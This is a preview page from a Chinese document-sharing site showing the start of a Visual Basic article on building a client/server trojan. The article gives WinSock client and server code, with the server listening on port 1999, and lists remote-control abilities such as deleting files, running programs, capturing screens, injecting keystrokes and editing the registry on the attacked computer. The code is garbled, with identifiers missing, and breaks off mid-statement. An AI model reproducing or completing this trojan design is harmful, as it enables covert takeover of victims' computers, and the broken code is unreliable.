1 / 19
文档名称:

VB高级编程.doc

格式:doc   大小:27KB   页数:19页
下载后只包含 1 个 DOC 格式的文档,没有任何的图纸或源代码,查看文件列表

如果您已付费下载过本站文档,您可以点这里二次下载

分享

预览

VB高级编程.doc

上传人:wz_198614 2017/11/1 文件大小:27 KB

下载得到文件列表

VB高级编程.doc

相关文档

文档介绍

文档介绍:VB高级编程
浅谈用
现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的 C/S结构,目前也有一些开始向 B/S结构转变, 在这里暂且不对 B/S结构进行详谈,本文主要介绍 C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用 VB来实现它。
首先使用 VB建立两个程序,一个为客户端程序 Client,一个为服务器端程序 systry。
在 Client工程中建立一个窗体,加载 WinSock控件,称为 tcpClient,协议选择 TCP,再加入两个文本框,用以输入服务器的 IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:
Private Sub cmdConnect_Click()
If Len() = 0 And Len() = 0 Then
MsgBox ("请输入主机名或主机 IP地址。")
Exit Sub
Else
If Len() > 0 Then
=
Else
=
End If
End If

= True
End Sub
连接建立之后就可以使用 DataArrival事件处理所收到的数据了。
在服务器端 systry工程也建立一个窗体,加载 WinSock控件,称为 tcpServer,协议选择 TCP,在 Form_Load事件中加入如下代码:
Private Sub Form_Load()
= 1999

End Sub
准备应答客户端程序的请求连接,使用 ConnectionRequest事件来应答户端程序的请求,代码如下:
Private Sub tcpServer_ConnectionRequest
(ByVal requestID As Long)
If < > sckClosed Then
‘检查控件的 State 属性是否为关闭的。
End If '如果不是,在接受新的连接之前先关闭此连接。
requestID
End Sub
这样在客户端程序按下了连接按钮后,服务器端程序的 ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。
建立连接后服务器端的程序通过 DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用 TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival 事件程序如下:
Private Sub tcpServer_DataArrival
(ByVal bytesTotal As Long)
Dim strData As String
Dim i As Long
Dim mKey As String
strData
'接收数据并存入 strData
For i = 1 To Len(strData)
'分离 strData中的命令
If Mid(strData, i, 1) = "@" Then
mKey = Left(strData, i - 1)
'把命令 ID号存入 mKey
'把命令参数存入 strData
strData = Right(strData, Len(strData) - i)
Exit For
En